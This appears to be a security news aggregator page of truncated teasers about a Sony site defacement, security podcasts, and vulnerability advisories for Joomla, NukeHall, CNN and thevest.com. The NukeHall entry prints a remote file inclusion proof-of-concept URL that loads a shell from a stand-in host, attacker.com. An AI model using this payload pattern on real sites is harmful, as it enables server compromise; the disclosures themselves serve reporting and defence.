Hackers posts fake celebrity stories on Sony site

Hackers posts fake celebrity stories on Sony site From last three months Sony becomes favorite victim to hackers. This time A hacker post fake celebrity stories on Sony Music's Ireland site. These Fake Stories was : 1. Scientists have proved that the X Factor TV show is for the stupid. 2. Two...

Joomla! Component jesubmit 1.4 - SQL Injection

Exploit Title: Joomla JE Story submit SQL Injection Vendor url:http://joomlaextensions.co.in Version:1.4 Greetz to:r0073r inj3ct0r.com, Sid3^effects, MaYur, MA1201, Sonic Bluehat, Sai, KD, M4n0j. Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com Shoutzz:- To all ICW members...

Paul Roberts on the Decade in Security

Dennis Fisher talks with Paul Roberts of The 451 Group about the changes that the last decade has brought in computer security, the biggest story of the ’00s and what the Teens might hold. Podcast audio courtesy of sykboy65 Subscribe to the Digital Underground podcast on...

Mike Mimoso on the Schmidt Appointment and the Top Security Stories of 2009

Dennis Fisher talks with Mike Mimoso, editorial director of the Security Media Group at TechTarget, about Howard Schmidt’s appointment, the top security stories of 2009 and the World Cup draw. Podcast audio courtesy of sykboy65 Subscribe to the Digital Underground podcast on...

NukeHall 0.3 - Multiple Remote File Inclusions

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg NukeHall PoC : http://server/path/admin/modules/blocks.php?spawroot=http://attacker.com/shell.txt?cmd Vuln : ./nukehall0.3/admin/modules/messages.php line 28 PoC :...

cnn-xss.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear CNN, I recently discovered a security vulnerability on the www.cnn.com website. I believe the vulnerability can be used by a remote user to alter content on www.cnn.com. On 10 Nov 2008, I wrote to...

Unfixed XSS vulnerability at www.thevest.com

Security researcher By Encore, has submitted on 03/09/2007 a cross-site-scripting XSS vulnerability affecting www.thevest.com, which at the time of submission ranked 3648394 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/09/2007. It is...